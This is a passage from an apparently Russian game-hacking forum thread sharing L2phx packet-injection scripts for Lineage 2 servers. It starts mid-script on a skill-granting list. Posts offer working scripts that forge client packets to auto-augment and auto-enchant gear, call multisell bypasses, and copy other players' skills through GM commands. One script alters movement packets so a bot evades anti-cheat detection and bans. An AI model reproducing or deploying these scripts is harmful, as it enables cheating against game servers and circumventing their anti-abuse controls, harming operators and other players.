LearnSkill( 250, 42 );
ShowHTML(HTML_Armor);
end;

{ Скилы эпик бижи }
'Earring of Antharas' : begin LearnSkill( 3558, 1 ); ShowHTML(HTML_epic); end;
'Earring of Orfen' : begin LearnSkill( 3560, 1 ); ShowHTML(HTML_epic); end;
'Earring of Zaken' : begin LearnSkill( 3559, 1 ); ShowHTML(HTML_epic); end;
'Necklace of Valakas' : begin LearnSkill( 3557, 1 ); ShowHTML(HTML_epic); end;
'Ring of Baium' : begin LearnSkill( 3561, 1 ); ShowHTML(HTML_epic); end;
'Ring of Core' : begin LearnSkill( 3563, 1 ); ShowHTML(HTML_epic); end;
'Ring of Queen Ant' : begin LearnSkill( 3563, 1 ); ShowHTML(HTML_epic); end;
'Frintezza''s Necklace' : begin LearnSkill( 3604, 1 ); ShowHTML(HTML_epic); end;

{Infinity Weapon Skill}

'Infinity Blade' : begin LearnSkill( 3578, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Axe' : begin LearnSkill( 3580, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Cleaver' : begin LearnSkill( 3583, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Crusher' : begin LearnSkill( 3583, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Fang' : begin LearnSkill( 3587, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Stinger' : begin LearnSkill( 3589, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Spear' : begin LearnSkill( 3591, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Bow' : begin LearnSkill( 3593, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Scepter' : begin LearnSkill( 3595, 1 ); ShowHTML(HTML_Inf); end;
'Infinity Rod' : begin LearnSkill( 3597, 1 ); ShowHTML(HTML_Inf); end;

{Эпик RB Скилы}
'Baium: General Attack' : begin LearnSkill( 4127, 1 ); ShowHTML(HTML_NBC); end;
'Baium Gift' : begin LearnSkill( 4136, 1 ); ShowHTML(HTML_NBC); end;
'Valakas Lava Skin' : begin LearnSkill( 4680, 1 ); ShowHTML(HTML_NBC); end;
'Valakas Shock' : begin LearnSkill( 4688, 1 ); ShowHTML(HTML_NBC); end;
'Antharas Shock' : begin LearnSkill( 4106, 1 ); ShowHTML(HTML_NBC); end;
'BOSS Shield' : begin LearnSkill( 3597, 1 ); ShowHTML(HTML_NBC); end;
'BOSS Stun shot' : begin LearnSkill( 3597, 1 ); ShowHTML(HTML_NBC); end;
'Increase Rage Might' : begin LearnSkill( 4317, 5 ); ShowHTML(HTML_NBC); end;
'NPC dash' : begin LearnSkill( 4048, 3 ); ShowHTML(HTML_NBC); end;

{Resist Skills}
'Resist M.Atk' : begin LearnSkill( 4116, 10 ); ShowHTML(HTML_Resist); end;
'Resist Archery' : begin LearnSkill( 4071, 10 ); ShowHTML(HTML_Resist); end;
'Resist Physical Attack' : begin LearnSkill( 4084, 10 ); ShowHTML(HTML_Resist); end;
'Resist Dagger' : begin LearnSkill( 4273, 6 ); ShowHTML(HTML_Resist); end;
'Resist Two-handed Weapons' : begin LearnSkill( 4428, 5 ); ShowHTML(HTML_Resist); end;
'Resist Swords' : begin LearnSkill( 4427, 5 ); ShowHTML(HTML_Resist); end;
'Resist Dual-Sword Weapons' : begin LearnSkill( 4426, 5 ); ShowHTML(HTML_Resist); end;
'Resist Blunt Weapons' : begin LearnSkill( 4425, 5 ); ShowHTML(HTML_Resist); end;
'Resist Hand-to-hand Weapons' : begin LearnSkill( 4424, 5 ); ShowHTML(HTML_Resist); end;
'Resist Mental Derangement' : begin LearnSkill( 4389, 6 ); ShowHTML(HTML_Resist); end;
'Resist Paralysis' : begin LearnSkill( 4338, 6 ); ShowHTML(HTML_Resist); end;
'Resist Pole Arm' : begin LearnSkill( 4379, 6 ); ShowHTML(HTML_Resist); end;
'Resist Sacred Attack' : begin LearnSkill( 4337, 6 ); ShowHTML(HTML_Resist); end;
'Resist Dark Attack' : begin LearnSkill( 4333, 6 ); ShowHTML(HTML_Resist); end;
'Resist Hold' : begin LearnSkill( 4287, 6 ); ShowHTML(HTML_Resist); end;
'Resist Sleep' : begin LearnSkill( 4285, 6 ); ShowHTML(HTML_Resist); end;

{Скилы От Сэтов}
'Wooden Set' : begin LearnSkill( 3500, 1 ); ShowHTML(HTML_Set); end;
'Devotion Set' : begin LearnSkill( 3501, 1 ); ShowHTML(HTML_Set); end;
'Elven Mithril Set' : begin LearnSkill( 3507, 1 ); ShowHTML(HTML_Set); end;
'Knowledge Set' : begin LearnSkill( 3504, 1 ); ShowHTML(HTML_Set); end;
'Reinforced Leather Set' : begin LearnSkill( 3503, 1 ); ShowHTML(HTML_Set); end;
'Manticore Set' : begin LearnSkill( 3505, 1 ); ShowHTML(HTML_Set); end;
'Brigandine Set' : begin LearnSkill( 3506, 1 ); ShowHTML(HTML_Set); end;
'Mithril Heavy Armor Set' : begin LearnSkill( 3502, 1 ); ShowHTML(HTML_Set); end;
'Divine Set' : begin LearnSkill( 3517, 1 ); ShowHTML(HTML_Set); end;
'Karmian Set' : begin LearnSkill( 3510, 1 ); ShowHTML(HTML_Set); end;
'Demon Set' : begin LearnSkill( 3513, 1 ); ShowHTML(HTML_Set); end;
'Drake Leather Set' : begin LearnSkill( 3515, 1 ); ShowHTML(HTML_Set); end;
'Theca Leather Set' : begin LearnSkill( 3514, 1 ); ShowHTML(HTML_Set); end;
'Plate Leather Set' : begin LearnSkill( 3511, 1 ); ShowHTML(HTML_Set); end;
'Composite Set' : begin LearnSkill( 3512, 1 ); ShowHTML(HTML_Set); end;
'Chain Mail Set' : begin LearnSkill( 3509, 1 ); ShowHTML(HTML_Set); end;
'Full Plate Set' : begin LearnSkill( 3516, 1 ); ShowHTML(HTML_Set); end;
'Doom Robe Set' : begin LearnSkill( 3529, 1 ); ShowHTML(HTML_Set); end;
'Blue Wolf Robe Set' : begin LearnSkill( 3528, 1 ); ShowHTML(HTML_Set); end;
'Avadon Robe Set' : begin LearnSkill( 3523, 1 ); ShowHTML(HTML_Set); end;
'Zubei Robe Set' : begin LearnSkill( 3522, 1 ); ShowHTML(HTML_Set); end;
'Avadon Light Armor Set' : begin LearnSkill( 3521, 1 ); ShowHTML(HTML_Set); end;
'Zubei Light Armor Set' : begin LearnSkill( 3520, 1 ); ShowHTML(HTML_Set); end;
'Blue Wolf Light Armor Set' : begin LearnSkill( 3526, 1 ); ShowHTML(HTML_Set); end;
'Doom Light Armor Set' : begin LearnSkill( 3527, 1 ); ShowHTML(HTML_Set); end;
'Zubei Heavy Armor Set' : begin LearnSkill( 3518, 1 ); ShowHTML(HTML_Set); end;
'Avadon Heavy Armor Set' : begin LearnSkill( 3519, 1 ); ShowHTML(HTML_Set); end;
'Doom Heavy Armor Set' : begin LearnSkill( 3525, 1 ); ShowHTML(HTML_Set); end;
'Blue Wolf Heavy Armor Set' : begin LearnSkill( 3524, 1 ); ShowHTML(HTML_Set); end;
'Majestic Robe Set' : begin LearnSkill( 3541, 1 ); ShowHTML(HTML_Set); end;
'Nightmare Robe Set' : begin LearnSkill( 3540, 1 ); ShowHTML(HTML_Set); end;
'Tallum Robe Set' : begin LearnSkill( 3534, 1 ); ShowHTML(HTML_Set); end;
'Dark Crystal Robe Set' : begin LearnSkill( 3535, 1 ); ShowHTML(HTML_Set); end;
'Majestic Light Armor Set' : begin LearnSkill( 3539, 1 ); ShowHTML(HTML_Set); end;
'Nightmare Light Armor Set' : begin LearnSkill( 3538, 1 ); ShowHTML(HTML_Set); end;
'Tallum Light Armor Set' : begin LearnSkill( 3533, 1 ); ShowHTML(HTML_Set); end;
'Dark Crystal Light Armor Set': begin LearnSkill( 3532, 1 ); ShowHTML(HTML_Set); end;
'Nightmare Heavy Armor Set' : begin LearnSkill( 3536, 1 ); ShowHTML(HTML_Set); end;
'Majestic Heavy Armor Set' : begin LearnSkill( 3537, 1 ); ShowHTML(HTML_Set); end;
'Tallum Heavy Armor Set' : begin LearnSkill( 3531, 1 ); ShowHTML(HTML_Set); end;
'Dark Crystal Heavy Armor Set': begin LearnSkill( 3530, 1 ); ShowHTML(HTML_Set); end;
'Major Arcana Robe Set' : begin LearnSkill( 3556, 1 ); ShowHTML(HTML_Set); end;
'Draconic Light Armor Set' : begin LearnSkill( 3555, 1 ); ShowHTML(HTML_Set); end;
'Imperial Crusader Heavy Armor Set' : begin LearnSkill( 3553, 1 ); ShowHTML(HTML_Set); end;

{Hero Skills}
'Heroic Berserker' : begin LearnSkill( 396, 1 ); ShowHTML(HTML_Hero); end;
'Heroic Miracle' : begin LearnSkill( 395, 1 ); ShowHTML(HTML_Hero); end;
'Heroic Dread' : begin LearnSkill( 1376, 1 ); ShowHTML(HTML_Hero); end;
'Heroic Grandeur' : begin LearnSkill( 1375, 1 ); ShowHTML(HTML_Hero); end;
'Blessing of Noblesse' : begin LearnSkill( 1323, 1 ); ShowHTML(HTML_Hero); end;

{SA Skills}

'Haste' :
begin
LearnSkill( 3036, 4 );
LearnSkill( 3037, 4 );
LearnSkill( 3068, 2 );
ShowHTML(HTML_SA);
end;

'Guidance' :
begin
LearnSkill( 3064, 1 );
LearnSkill( 3065, 1 );
LearnSkill( 3007, 6 );
LearnSkill( 3008, 6 );
ShowHTML(HTML_SA);
end;

'Rsk.Agility' :
begin
LearnSkill( 3028, 6 );
LearnSkill( 3030, 6 );
LearnSkill( 3031, 6 );
LearnSkill( 3069, 1 );
LearnSkill( 3009, 7 );
ShowHTML(HTML_SA);
end;

'Critical Demage' :
begin
LearnSkill( 3023, 6 );
LearnSkill( 3043, 6 );
LearnSkill( 3066, 3 );
LearnSkill( 3067, 2 );
ShowHTML(HTML_SA);
end;

'Focus' :
begin
LearnSkill( 3010, 7 );
LearnSkill( 3011, 6 );
LearnSkill( 3050, 2 );
LearnSkill( 3051, 2 );
LearnSkill( 3566, 2 );
LearnSkill( 3057, 2 );
ShowHTML(HTML_SA);
end;

{Дансы}
'Dance of Fire' : begin LearnSkill( 274, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Light' : begin LearnSkill( 277, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Inspiration' : begin LearnSkill( 272, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Mystic' : begin LearnSkill( 273, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Concentration' : begin LearnSkill( 276, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Warrior' : begin LearnSkill( 271, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Fury' : begin LearnSkill( 275, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Earth Guard' : begin LearnSkill( 209, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Protection' : begin LearnSkill( 311, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Aqua Guard' : begin LearnSkill( 307, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Vampire' : begin LearnSkill( 310, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Medusa' : begin LearnSkill( 367, 1 ); ShowHTML(HTML_DANCE); end;
'Dance of Siren' : begin LearnSkill( 365, 1 ); ShowHTML(HTML_DANCE); end;

{ Сонги }
'Song of Warding' : begin LearnSkill( 267, 1 ); ShowHTML(HTML_Song); end;
'Song of Invocation' : begin LearnSkill( 270, 1 ); ShowHTML(HTML_Song); end;
'Song of Wind' : begin LearnSkill( 268, 1 ); ShowHTML(HTML_Song); end;
'Song of Hunter' : begin LearnSkill( 269, 1 ); ShowHTML(HTML_Song); end;
'Song of Life' : begin LearnSkill( 265, 1 ); ShowHTML(HTML_Song); end;
'Song of Earth' : begin LearnSkill( 264, 1 ); ShowHTML(HTML_Song); end;
'Song of Water' : begin LearnSkill( 266, 1 ); ShowHTML(HTML_Song); end;
'Song of Flame Guard' : begin LearnSkill( 306, 1 ); ShowHTML(HTML_Song); end;
'Song of Vitality' : begin LearnSkill( 304, 1 ); ShowHTML(HTML_Song); end;
'Song of Storm Guard' : begin LearnSkill( 308, 1 ); ShowHTML(HTML_Song); end;
'Song of Vengeance' : begin LearnSkill( 305, 1 ); ShowHTML(HTML_Song); end;
'Song of Meditation' : begin LearnSkill( 363, 1 ); ShowHTML(HTML_Song); end;
'Song of Renewal' : begin LearnSkill( 349, 1 ); ShowHTML(HTML_Song); end;
'Song of Champion' : begin LearnSkill( 364, 1 ); ShowHTML(HTML_Song); end;

{Buff}
'Wind Walk' : begin LearnSkill( 1204, 2 ); ShowHTML(HTML_BUFF); end;
'Shield' : begin LearnSkill( 1040, 3 ); ShowHTML(HTML_BUFF); end;
'Might' : begin LearnSkill( 1068, 3 ); ShowHTML(HTML_BUFF); end;
'Bless Shield' : begin LearnSkill( 1243, 6 ); ShowHTML(HTML_BUFF); end;
'Death Whisper' : begin LearnSkill( 1242, 3 ); ShowHTML(HTML_BUFF); end;
'Guidancee' : begin LearnSkill( 1240, 3 ); ShowHTML(HTML_BUFF); end;
'Mental Shield' : begin LearnSkill( 1035, 4 ); ShowHTML(HTML_BUFF); end;
'Bless the Body' : begin LearnSkill( 1045, 6 ); ShowHTML(HTML_BUFF); end;
'Bless the Soul' : begin LearnSkill( 1048, 6 ); ShowHTML(HTML_BUFF); end;
'Concentration' : begin LearnSkill( 1048, 6 ); ShowHTML(HTML_BUFF); end;
'Focuss' : begin LearnSkill( 1077, 3 ); ShowHTML(HTML_BUFF); end;
'Hastee' : begin LearnSkill( 1086, 2 ); ShowHTML(HTML_BUFF); end;
'Magic Barrier' : begin LearnSkill( 1036, 2 ); ShowHTML(HTML_BUFF); end;
'Acumen' : begin LearnSkill( 1085, 3 ); ShowHTML(HTML_BUFF); end;
'Berserker Spirit' : begin LearnSkill( 1062, 2 ); ShowHTML(HTML_BUFF); end;
'Kiss of Eva' : begin LearnSkill( 1073, 2 ); ShowHTML(HTML_BUFF); end;
'Regeneration' : begin LearnSkill( 1044, 3 ); ShowHTML(HTML_BUFF); end;
'Empower' : begin LearnSkill( 1059, 3 ); ShowHTML(HTML_BUFF); end;
'Wild Magic' : begin LearnSkill( 1303, 2 ); ShowHTML(HTML_BUFF); end;
'Resist Shock' : begin LearnSkill( 1303, 4 ); ShowHTML(HTML_BUFF); end;
'Agility' : begin LearnSkill( 1087, 3 ); ShowHTML(HTML_BUFF); end;
'Prophecy of Water' : begin LearnSkill( 1355, 1 ); ShowHTML(HTML_BUFF); end;
'Prophecy of Wind' : begin LearnSkill( 1357, 1 ); ShowHTML(HTML_BUFF); end;
'Prophecy of Fire' : begin LearnSkill( 1356, 1 ); ShowHTML(HTML_BUFF); end;
'Chant of Victory' : begin LearnSkill( 1363, 1 ); ShowHTML(HTML_BUFF); end;


end;
end;
end.

StEAlTh_ASsAsIN
17.08.2011, 02:43
Скрипт на аугментацию. Работает на фрее.
Запускаем скрипт. Первый раз аугментируем/снимаем аугмент руками, дальше автоматически. Активируется соц.действиием "Нет".
Важно - скрипт удаляет и вставляет ЛС за один раз (мне лично так удобнее).
const
nik='яяя';

var
WeaponID, LsID, GemID, GemCount, zero: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin

end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

procedure OnDisonnect(WithClient: Boolean); //Вызывается при потере соединения
begin

end;

//основная часть скрипта
//вызывается при приходе каждого пакета если скрипт включен
begin
if FromClient and (pck[1]=#$D0) then
begin
WeaponID:=ReadD(4);
LsID:=ReadD(8);
GemID:=ReadD(12);
GemCount:=ReadD(16);
end;

//Cancel Augment

if FromClient and (pck = HStr('56 19 00 00 00 00 00 00 00 00')) then //62 AB 07 00 00 00 00 00 00 (Social No)

begin
buf:=hstr('FE 52 00 ');//окно удаления арГ
SendToClient;
delay(400);
pck:='';
Buf:=#$D0#$42#$00;
WriteD(WeaponID);
SendToServerEx(nik);
Buf:=#$D0#$43#$00;
WriteD(WeaponID);
SendToServerEx(nik);
buf:=hstr('FE 51 00 ');//окно Арг
SendToClient;
delay(400);
pck:='';
Buf:=#$D0#$26#$00;
WriteD(WeaponID);
SendToServerEx(nik);
delay(350);
Buf:=#$D0#$27#$00;
WriteD(WeaponID);
WriteD(LsID);
SendToServerEx(nik);
delay(400);
Buf:=#$D0#$28#$00;
WriteD(WeaponID);
WriteD(LsID);
WriteD(GemID);
WriteD(GemCount);
WriteD(zero);
SendToServerEx(nik);
delay(400);
Buf:=#$D0#$41#$00;
WriteD(WeaponID);
WriteD(LsID);
WriteD(GemID);
WriteD(GemCount);
WriteD(zero);
SendToServerEx(nik);
end;
end.

icheater
11.09.2011, 14:00
Если PK поблизости, то можно автоматически взять его в цель и/или вывести сообщение в чат. Команды для управления скриптом (все они вводятся в чат):
Включить автоматическое взятие PK в цель - %pk_target 1
Выключить автоматическое взятие PK в цель - %pk_target 0
Включить уведомление в чат при обнаружении поблизости PK - %pk_msg 1
Выключить уведомление в чат при обнаружении поблизости PK - %pk_msg 0

Скачать - [Ссылки могут видеть только зарегистрированные и активированные пользователи]


Работает везде, где работает l2phx.


Правила нашего Форума
19.А Публикация материалов в открытых разделах Zhyk.Ru с других порталов допускается лишь при наличии упоминания об авторстве (Имя автора и название портала-первоисточника). В случае жалобы на тот или иной материал, не содержащий упоминаний об авторстве и при наличии весомых на то аргументов - нарушитель получает предупреждение, а при повторных нарушениях - красную карточку. Данная мера наказания может быть применена лишь после подачи соответствующей жалобы Администрации Zhyk.Ru правообладателем.

не хватает в описание
// Автор: Furious
// Версия: 0.1

CoderX :: Forums

laserdance
15.09.2011, 17:16
Кстати мож кому пригодится скриптик, заменяет мучения с пакетами. Если сочтете нужным - могу оформить в отдельную темку. Для IL придется чутарик править

//пишем nik , запускаем, выбераем НПС и вводим номер МС
// использованы куски кода от NLObP и Xkor с их небезызвестного сайта
//тестилось на ГФ и выше, работает периодически и на разных ГФШ

var
FormMain:TForm;
Nmbr:TEdit;
LaunchButton:TButton;
NPC:TLabel;
nik='BOPOBKA'
procedure Init;
begin
FormMain:=Create_FormMain;

end;

procedure Free;
begin
TRY
if FormMain<>NIL then begin
FormMain.Free;
FormMain:=NIL;
end;
FINALLY
END;
end;

//////////////////////////////////////
procedure SMS (text:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(1);
WriteS('');
WriteS(text);
SendToClientEx(nik);
end;
///////////////////////////////////////

procedure LaunchButton_Click(Sender: TButton);
begin
buf:=Hstr('23 6E00 7000 6300 5F00 ');
WriteS(NPC.caption+'_multisell '+Nmbr.text);
Sendtoserverex(nik);

end;

//////////////////////////////////////////////////
function Create_FormMain : TForm;

Var
Yes : boolean;
begin
Yes := FALSE;
Result := TForm.Create(nil);

TRY
//------------------------
//Ñâîéñòâà ôîðìû
Result.Caption := '';
Result.Left := 0;
Result.Top := 0;
Result.Width := 320;
Result.Height := 25;
Result.FormStyle := fsStayOnTop;
Result.Position := poDesigned;
Result.BorderStyle := bsnone;
Result.BorderWidth := 0;
Result.WindowState := wsNormal;
Result.Font.Name := 'Verdana';
Result.Font.Size := 8;
Result.Font.Color := clWindowText;
Result.Font.CharSet:= 1;
Result.alphablend := true;
Result.AlphaBlendValue := 175;
Result.FormStyle:=fsStayOnTop;
Result.Color := clGray;
Result.TransparentColor := True;
Result.TransparentColorValue := clgray;
//......................................
Nmbr := TEdit.Create(Result);
Nmbr.Parent := Result;
Nmbr.Left := 84;
Nmbr.Top := 4;
Nmbr.Width := 180;
Nmbr.Height := 20;
Nmbr.Visible := TRUE;
Nmbr.Tag := 0;
Nmbr.Enabled := TRUE;
Nmbr.Hint := '';
Nmbr.ShowHint := TRUE;
Nmbr.Text := '';
Nmbr.Font.Name := 'Tahoma';
Nmbr.Font.Size := 7;
Nmbr.Font.Color := clWindowText;
Nmbr.Color := clWindow;
Nmbr.TabOrder := 5;
Nmbr.TabStop := TRUE;
Nmbr.ReadOnly := FALSE;
Nmbr.MaxLength := 0;
Nmbr.AutoSize := TRUE;
//......................................
LaunchButton := TButton.Create(Result);
LaunchButton.Left := 270;
LaunchButton.Parent := Result;
LaunchButton.Top := 3;
LaunchButton.Width := 40;
LaunchButton.Height := 21;
LaunchButton.Visible := TRUE;
LaunchButton.Tag := 0;
LaunchButton.Enabled := FALSE;
LaunchButton.Hint := '';
LaunchButton.ShowHint := FALSE;
LaunchButton.Caption := 'Go!';
LaunchButton.Font.Name := 'Tahoma';
LaunchButton.Font.Size := 8;
LaunchButton.Font.Color := clWindowText;
LaunchButton.Font.CharSet := 1;
LaunchButton.TabOrder := 2;
LaunchButton.TabStop := TRUE;
LaunchButton.Cancel := FALSE;
LaunchButton.ModalResult := 0;
LaunchButton.OnClick := @LaunchButton_Click;
////////////////////////////////
npc := TLabel.Create(Result);
npc.Parent := result;
npc.Left := 4;
npc.Top := 6;
npc.Width := 60;
npc.Height := 13;
npc.Visible := TRUE;
npc.Tag := 0;
npc.Enabled := TRUE;
npc.Hint := '';
npc.ShowHint := FALSE;
npc.Caption := '[ Нет НПС ]';
npc.Transparent := TRUE;
npc.WordWrap := FALSE;
npc.Alignment := taCenter;
npc.Layout := tlTop;
npc.AutoSize := TRUE;
npc.Align := alNone;
npc.Font.Name := 'Tahoma';
npc.Font.Size := 8;
npc.Font.Color := clRed;
npc.Color := clBtnFace;

//////////////////////////////////////////
Yes := TRUE;
FINALLY
if not Yes then begin

if Result<>NIL then begin
Result.Free;
Result:=NIL;
end;
end;
END;
Result.Show;
end;
//////////////////////////////////////////////////

begin

if (pck[1]=#$b9) then begin
NPC.caption:=inttostr(readd(2));
NPC.font.color:=ClGreen;
LaunchButton.Enabled := TRUE;
COL.Enabled := TRUE;


end;
//нижние две строки можно разкоментировать чтоб писался в
//клиент последний байпас (Пригодится чтоб отслеживать номера МС
//гмшопов в клиенте не переключаясь на пх)

// if (pck[1]=#$23) and (FromClient) then
// SMS (ReadS(2));

end.

HARDporno[™]
05.11.2011, 06:23
Авто-заточка High Five

const
* nik='GreenPo1SoN';//Тут вписываем свой ник
* Enchant=16;//это число при котором скрипт точить дальше не будит

var
UseItem, SelectItem, EnchantItem: string;
CurrentEnch: integer;
key: boolean;
Timer01, Timer02: TTimer;

procedure Init;
begin
Timer01:=TTimer.Create(nil);
Timer01.OnTimer:=@OnTimer01;
Timer01.enabled:=false;
* Timer01.interval:=3000; //тут ставим интервал 1000 = 1 сек

Timer02:=TTimer.Create(nil);
Timer02.OnTimer:=@OnTimer02;
Timer02.enabled:=false;
* Timer02.interval:=3000; //Тут тоже настраиваем под себя время заточки
end;

procedure OnTimer01(Sender: TObject);
begin
case key of
false: begin
buf:=UseItem;
SendToServerEx(nik);
Timer02.enabled:=true;
end;
true: begin
buf:=EnchantItem;
SendToServerEx(nik);
end;
end;
key:=not(key);
end;

procedure OnTimer02(Sender: TObject);
begin
buf:=SelectItem;
SendToServerEx(nik);
Timer02.enabled:=false;
end;

procedure Free;
begin
Timer01.free;
Timer02.free;
CurrentEnch:=0;
key:=false;
end;

begin
if FromServer and (pck[1]=#$87) then case ReadD(2) of
0: begin
CurrentEnch:=CurrentEnch+1;
if CurrentEnch=Enchant then Timer01.enabled:=false;
end;
3: CurrentEnch:=0;
end;
if FromClient and (pck[1]=#$19) then UseItem:=pck;
if FromClient and (pck[1]=#$D0) then SelectItem:=pck;
if FromClient and (pck[1]=#$5F) then EnchantItem:=pck;
if FromClient and (pck[1]+pck[2]=#$56#$0C) then
begin
pck:='';
Timer01.enabled:=not(Timer01.enabled);
end;
end.
Используем так включаем скрипт точим затачиваем оружие +1 и пишем в чат /socialhello и все наша автозаточка началась!

Kolobok123
13.01.2012, 08:04
Может кому поможет. Играю на интерлюдии ИГ бот при запуске пишет ГМ-у отправлена инафа и тут же дисконнект. Пару таких попыток-бан. ГГ убить не вышло. Проблема решается легко. Добавляем в pkh вот такой скрипт:

begin
if FromClient and (pck[1]=#$01) then begin
buf:=pck;
WriteD(1);
pck:=buf;
end
end.

Бот работает на ура (спасибо большое J-Fobos научил) Смысл в том что ГГ при начале движения мышкой добавляет 01 00 00 00 в конце пакета. Когда это делает бот 01 00 00 00 не добавляется. Поэтому добавляем сами скриптом и ботим. Скрипт под интерлюдии под другие хроники надо править.

serge-er
11.03.2012, 19:03
Для gm pvp, ворует скиллы и приписывает их к себе.

var
m: TMemo;
frm:TForm;
penel: TPanel;
etext: tedit;
button: tbutton;
i, s, passive, lvl, id: Integer;
NumSkills : Integer;
Message, Name: String;

procedure SendMs(Sender: TButton);
var
Msg, Nm: String;
dd: integer;
begin
if etext.text<>'' then begin
buf:=#$38;
case etext.text[1] of
'!': begin
Msg:=Copy(etext.text,2,1000);
dd:=1;
nm:='';
end;
'$': begin
Msg:=Copy(etext.text,2,1000);
dd:=9;
nm:='';
end;
'+': begin
Msg:=Copy(etext.text,2,1000);
dd:=8;
nm:='';
end;
'"': begin
dd:=pos(' ', etext.text);
Msg:=Copy(etext.text,dd+1,1000);
nm:=Copy(etext.text,2,dd-3);
dd:=2;
end;
'#': begin
Msg:=Copy(etext.text,2,1000);
dd:=3;
nm:='';
end;
'@': begin
Msg:=Copy(etext.text,2,1000);
dd:=4;
nm:='';
end;
else begin
Msg:=etext.text;
dd:=0;
nm:='';
end;
end;
WriteS(Msg);
WriteD(dd);
if nm<>'' then WriteS(Nm);
SendToServer;
end;
end;

// Дает скилл пользователю
procedure SetSkill( id : Integer; lvl : Integer );
begin
buf:=#$74;
WriteS( 'setskill ' + IntToStr(id) + ' ' + IntToStr(lvl) );
SendToServer;
Delay( 10 );
end;

procedure Init;
begin
frm := TForm.Create(nil);
frm.Caption := 'Спертые скилы';
frm.BorderStyle := bsSizeable;
frm.Position := poScreenCenter;
frm.Width:=400;
frm.Height:=600;
m:=TMemo.Create(frm);
m.parent:=frm;
m.align:=alClient;
m.ReadOnly:=true;
m.ScrollBars:=ssBoth;
penel:=TPanel.Create(frm);
penel.parent:=frm;
penel.align:=alBottom;
penel.height:=24;
button:=tbutton.Create(penel);
button.parent:=penel;
button.align:=alRight;
button.caption:='Послать';
button.onClick:=@SendMs;
etext:=tedit.Create(penel);
etext.parent:=penel;
etext.align:=alClient;
frm.Show;
end;

procedure Free;
begin
etext.Free;
button.Free;
penel.Free;
m.Free;
frm.Free;
end;

begin
if FromServer and (pck[1]=#$97) then
begin
i := 2;
name:=ReadS(i);
m.Lines.Add( Name+': ' );

NumSkills := ReadD(i);
m.Lines.Add( 'Количество скилов: ' + IntToStr(NumSkills) );
m.Lines.Add( '' );
for s:=1 to NumSkills do
begin
Passive := ReadD(i);
Lvl := ReadD(i);
Id := ReadD(i);
if Passive = 1 then
m.Lines.Add( 'Passive Id:' + IntToStr( Id ) + ' Lvl: ' + IntToStr( lvl ) )
else
m.Lines.Add( 'Active Id:' + IntToStr( Id ) + ' Lvl: ' + IntToStr( lvl ) );
ReadC(i);
SetSkill( Id, Lvl );
end;
end;
end.


Как использовать, выделяешь того, кому хочешь перекинуть скиллы, *можно себя*, нажимаешь alt+g(Gm panel, для особо тупых, это только для гмов) и вводишь там ник того, с кого будешь брать скиллы, и нажимаешь на кнопку Skill

tumanch1k
19.04.2012, 12:50
Вот объясните этот скрипт вроде по функциональности должен быть нормальным но он не черта не хочет делать тупо когда точишь в ручную пишит объявления и все(
Хроника ХФ точка шмоток и вставка ЛСов работает на ура.


Const
NickName = 'Un1cum';
MaxEnchantLevel = 15;

interval = 0; //Интервал между точкой
MainDebug = true; // ПИСАТТЬ СОБОЩЕНИЯ В ЧАТ ИЛИ НЕТ ДА-true НЕТ-false

var
CurLevel: integer;
tick: integer;
SKillID: integer;

procedure Init; //Вызывается при включении скрипта
begin
CurLevel := -1;
end;


function Wait(var tick: integer; Timewait: Integer): Boolean; // сквозная проверка без остановки скрипта
var
t: integer;
begin
result:=false;
t:=Round(Time*86400);
if t>(tick+Timewait) then begin
if tick>0 then result:=true;
tick:=t;
end;
end;

procedure SendMsg_to_Chat(ChatType: integer; msg:string);
begin
buf:=#$4A;
WriteD(0);
WriteD(10);
WriteS(NickName);
WriteS(msg);
SendToClientEx(NickName);
end;
// послать отладочное сообщение себе
procedure DebugMsg(msg:string);
begin
if MainDebug then
SendMsg_to_Private(msg);
end;
// послать сообщение себе в приват
procedure SendMsg_to_Private(msg:string);
begin
SendMsg_to_Chat(2,msg);
end;

begin
if pck = '' then exit;
// Т.к. использоваться будет только для одного чара, остальных сразу отсеиваем
if ConnectName<>NickName then Exit;

// пакет - сообщение со статусом заточки
if FromServer and (pck[1]=#$62) and (pck[3]+pck[4]+pck[5] = HStr('05 00 00')) then begin
if (pck[2] = #$A0)or(pck[2] = #$A1)then begin
SKillID := ReadD(14);
CurLevel := ReadD(18);
// заточка была не удачной, обнуляем текущий уровень заточки
if pck[2] = #$A1 then
CurLevel := (CurLevel div 100)*100; // округляем
DebugMsg('SKillID='+inttostr(SKillID)+'; CurLevel='+inttostr(CurLevel));
if (CurLevel mod 100) >= MaxEnchantLevel then
CurLevel := -1;
tick := 0;
Wait(tick, interval);
end;
end;

// Можно закомментировать "and Wait(tick, interval)", точиться будет намного быстрее,
// только ощущение такое, что шанс точки меньше, хотя может и показалось
if (CurLevel >= 0) and Wait(tick, interval) then begin
DebugMsg('точим');
buf := HStr('D0 0F 00');
WriteD(SKillID);
WriteD(CurLevel+1);
SendToServerEx(NickName);
CurLevel := -1;
end;
end.


Зато этот точит с такой скорость что выкидывает с игры;

const
nik='Un1cum';
Enchant=15;

var
SubID, SkillID, SkillLvl, CurrEnch: integer;

procedure Init; //Вызывается при включении скрипта
begin

end;

procedure OnTimer01(Sender: TObject);
begin

end;

procedure Free; //Вызывается при выключении скрипта
begin
CurrEnch:=0;
end;

procedure OnConnect(WithClient: Boolean); //Вызывается при установке соединения
begin

end;

